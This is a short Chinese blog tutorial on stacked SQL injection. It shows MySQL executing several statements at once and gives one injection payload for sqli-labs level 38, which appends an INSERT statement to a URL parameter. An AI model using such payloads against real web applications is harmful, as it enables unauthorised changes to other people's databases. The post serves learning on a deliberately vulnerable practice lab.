SQL注入之简单了解堆叠注入

2022-12-21 10:43:49 浏览数 (1)

什么是堆叠注入

堆叠注入(stacked injections)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加“;”表示语句结束的,这样我们就想到了是不是可以多句一起使用就叫做堆叠注入

不是每个数据库环境都可以支持堆叠注入

MySQL数据库多语句执行:

我在mysql数据库中执行如下语句:

代码语言:javascript复制
select * from users; select * from emails;

结果:

代码语言:javascript复制
mysql> select * from users; select * from emails;
 ---- ---------- ------------ 
| id | username | password   |
 ---- ---------- ------------ 
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123456     |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | admin      |
 ---- ---------- ------------ 
14 rows in set (0.00 sec)

 ---- ------------------------ 
| id | email_id               |
 ---- ------------------------ 
|  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
 ---- ------------------------ 
8 rows in set (0.00 sec)

示例:sqli-labs靶场的 38关

关卡的SQL语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1 使用堆叠注入,添加数据 id为39 Payload:

代码语言:javascript复制
?id=1 ';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ') --  bbq

查询id为39查看是否成功:

参考文章:

这篇大佬写的文章比较全面,各个数据库基本上都演示了多语句执行,以及sqli-labs靶场38-45关 https://www.cnblogs.com/backlion/p/9721687.html

0 人点赞